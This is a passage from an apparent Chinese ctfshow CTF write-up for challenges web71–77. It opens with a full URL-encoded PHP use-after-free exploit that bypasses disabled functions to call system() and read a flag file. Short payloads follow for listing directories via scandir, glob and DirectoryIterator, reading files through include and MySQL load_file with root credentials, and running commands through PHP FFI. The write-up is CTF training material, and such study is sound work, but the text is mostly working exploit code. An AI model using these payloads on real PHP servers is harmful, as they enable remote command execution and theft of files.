c=%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0Aweb73
同web71,使用
c=var_export(scandir("/"));die();
找到flag位置
再使用
c=include("/flagc.txt");exit();
直接获取即可
web74
ban掉了scandir
可以使用glob函数
payload:c=var_export(glob("/*"));exit();
获取flag位置后
c=include("/flagx.txt");exit();
web75
payload:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>使用glob伪协议获取flag位置,再通过数据库查看flag(雾):
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web76
与上题一样,使用glob伪协议获取flag位置:
payload:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>再通过数据库查看flag:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77
FFI,php7.4以上才有https://www.php.net/manual/zh/ffi.cdef.php https://www.php.cn/php-weizijiaocheng-415807.html
可以使用上题的方法发现flag位置:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'');}exit(0);?>发现 flag36x.txt 文件。同时根目录下还有 readflag,估计需要调用 readflag 获取 flag。
通过FFI,可以实现调用system函数,从而执行命令,总而言之,就是调用system函数 a=‘/readflag > 1.txt’; //调用/readflag 把flag写入1.txt中 ffi->system($a); //执行命令
c=$ffi = FFI::cdef("int system(const char *command);");
payload:
c=$ffi = FFI::cdef("int system(const char *command);"); $a='/readflag > /var/www/html/1.txt'; $ffi->system($a); exit();
之后再使用c=readgzfile("1.txt");exit;拿到flag
部分信息可能已经过时









